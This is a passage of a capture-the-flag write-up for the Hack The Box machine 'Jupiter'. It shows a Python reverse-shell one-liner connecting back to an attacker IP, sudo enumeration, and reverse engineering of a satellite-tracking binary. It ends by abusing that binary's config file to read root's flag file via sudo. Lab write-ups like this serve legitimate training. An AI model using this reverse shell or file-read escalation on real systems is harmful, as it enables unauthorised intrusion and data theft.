Token a3fa766425e9e215fdb7bc51fecaaa9e851c579c1c9118a0: Access Denied
Token ac76aa2810c91514fb07a00850fc83091cd22e6cd8de4cad: Access Denied
Token afd87eff400a5006d19b6f7bf1b5541b7f716efbf847e440: Access Denied
Token b56d663f59a58570177c92c7bb992f90b252f97e9d04ab4a: Access Denied
Token b8055b937eeb17431b3f00dfc5159ba909012d86be120b60: Access Denied
Token c0dc3dc7a8ccbc8f12161717cb99e588c05af493a8ef44e9: Access Denied
Token c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab: Access Denied
Token cb3838c517de094f37ac3a51fa6e5d65b29c54f407a2bfb9: Access Denied
Token e9b7d5bd755ff579a4bcd1cb2316098b282c954029d58f5d: Access Denied
Token ecb902737922cbb1155bc7c7a60a6f1b52ae206fd2e1ff1d: Access Denied
Token fa7fab9d1955b2003a7755d125e351956cc5b07e4ee7e8ec: Access Denied

Well done.

Create a new notebook and try to launch a new reverse shell.

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.161",4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

And...

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ nc -lvp 4445                                                                                                                     
listening on [any] 4445 ...
connect to [10.10.14.161] from jupiter.htb [10.10.11.216] 32914
$ whoami
whoami
jovian

Ok, go fast and simple.

$ sudo -l
sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack

There are two ways to solve this BOX, one relatively simple (replace the executable with a bash and start it as an administrator with sudo), the other more complex, but more correct (I think the creator of the BOX has foreseen this second street); let's pretend that the executable cannot be overwritten and that we need to learn more about the executable.

Ok, let's investigate. It's a binary, so, probably I'll have to reverse it.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/ssh]
└─$ scp -i id_rsa [email protected]:/usr/local/bin/sattrack ../dwnl/sattrack
sattrack                                                                                           100% 1088KB   1.1MB/s   00:00    

Let's disassemble the binaries with ida (or use the disassembler that suits you best), but first run it to understand what we are dealing with and identify the points we will need during debugging.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ ./sattrack                        
Satellite Tracking System
Configuration file has not been found. Please try again!

Analyzing the assembler, I immediately identify the first string, thrown in the output on the stream!

Look for the other string with the configuration file message among the strings and see which file is in question.

The string is contained in a variable (looks like well-written code). And finally, we get to the point where the variable is used (for those unfamiliar with ida, right click, reveal the list of references and double-click on one of the instances).

The red arrow identifies that this point is reached following a conditioned jump; we go with the flow and see the check being done. And here it is, the fateful file that is missing on my PC, but which will certainly be present on the BOX. Let's take a look and understand how it works.

Ok, the file also seems absent on the BOX, interesting, maybe I'll have to create it myself, but the internal structure of the json must be understood. Let's go back to the local and try to understand the file structure; meanwhile, let's create the file and see if new messages show up.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ touch /tmp/config.json   
                                                                                                                                     
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ ./sattrack            
Satellite Tracking System
Malformed JSON conf: [json.exception.parse_error.101] parse error at line 1, column 1: syntax error while parsing value - unexpected end of input; expected '[', '{', or a literal

Right, let's try with an empty json.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ echo '{}' >> /tmp/config.json
                                                                                                                                     
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ cat /tmp/config.json
{}
                                                                                                                                     
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ ./sattrack                   
Satellite Tracking System
tleroot not defined in config

We immediately enter the requested information.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ echo '{ tleroot: {} }' > /tmp/config.json
                                                                                                                                     
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ cat /tmp/config.json                     
{ tleroot: {} }
                                                                                                                                     
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/dwnl]
└─$ ./sattrack                               
Satellite Tracking System
Malformed JSON conf: [json.exception.parse_error.101] parse error at line 1, column 4: syntax error while parsing object key - invalid literal; last read: '{ tl'; expected string literal

It requires a string format, fine, we could go on and on until we die, but let's see if there's a nice and ready example config somewhere.

$ find / -name "config.json" 2>/dev/null
find / -name "config.json" 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json

Found (maybe), let's take a look at it.

$ cat /usr/local/share/sattrack/config.json
cat /usr/local/share/sattrack/config.json
{
  "tleroot": "/tmp/tle/",
  "tlefile": "weather.txt",
  "mapfile": "/usr/local/share/sattrack/map.json",
  "texturefile": "/usr/local/share/sattrack/earth.png",

  "tlesources": [
   "http://celestrak.org/NORAD/elements/weather.txt",
   "http://celestrak.org/NORAD/elements/noaa.txt",
   "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
  ],

  "updatePerdiod": 1000,

  "station": {
   "name": "LORCA",
   "lat": 37.6725,
   "lon": -1.5863,
   "hgt": 335.0
  },

  "show": [
  ],

  "columns": [
   "name",
   "azel",
   "dis",
   "geo",
   "tab",
   "pos",
   "vel"
  ]
}

It seems to be him, let's copy it to the tmp folder and let's understand how it works, but let's try not to disturb the other... users, who are working like us (I don't think the others will have the same concern).

$ cp /usr/local/share/sattrack/config.json /tmp/config.json && /usr/local/bin/sattrack && rm /tmp/config.json
cp /usr/local/share/sattrack/config.json /tmp/config.json && /usr/local/bin/sattrack && rm /tmp/config.json
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt

The executable hangs, probably can't reach the listed link... But we do!

http://celestrak.org/NORAD/elements/weather.txt

In any case, some files have been created inside the newly created folder.

$ ls -la /tmp/tle
ls -la /tmp/tle
total 8
drwxrwxr-x  2 jovian jovian 4096 Aug 21 10:47  .
drwxrwxrwt 15 root   root   4096 Aug 21 10:52  ..
-rw-rw-r--  1 jovian jovian    0 Aug 21 10:47 'gp.php?GROUP=starlink&FORMAT=tle'
-rw-rw-r--  1 jovian jovian    0 Aug 21 10:47  noaa.txt
-rw-rw-r--  1 jovian jovian    0 Aug 21 10:47  weather.txt

Let's try local.

Woooo... this is amazing. Looking at the contents of the files, we find the contents of the original files that were recovered remotely. Interesting, if it copied the contents of the root flag file...

juno@jupiter:~$ cp /usr/local/share/sattrack/config.json /tmp/config.json
juno@jupiter:~$ vi /tmp/config.json 
juno@jupiter:~$ cat /tmp/config.json 
{
        "tleroot": "/tmp/tle/",
        "tlefile": "weather.txt",
        "mapfile": "/usr/local/share/sattrack/map.json",
        "texturefile": "/usr/local/share/sattrack/earth.png",

        "tlesources": [
                "file:///root/root.txt"
        ],

        "updatePerdiod": 1000,

        "station": {
                "name": "LORCA",
                "lat": 37.6725,
                "lon": -1.5863,
                "hgt": 335.0
        },

        "show": [
        ],

        "columns": [
                "name",
                "azel",
                "dis",
                "geo",
                "tab",
                "pos",
                "vel"
        ]
}

Fingers crossed...

$ sudo /usr/local/bin/sattrack
sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 file:///root/root.txt
Satellites loaded
No sats
$ cat /tmp/tle/root.txt
cat /tmp/tle/root.txt
2******************************a

...and another cup taken home. That's all, folks. See you next BOX as always.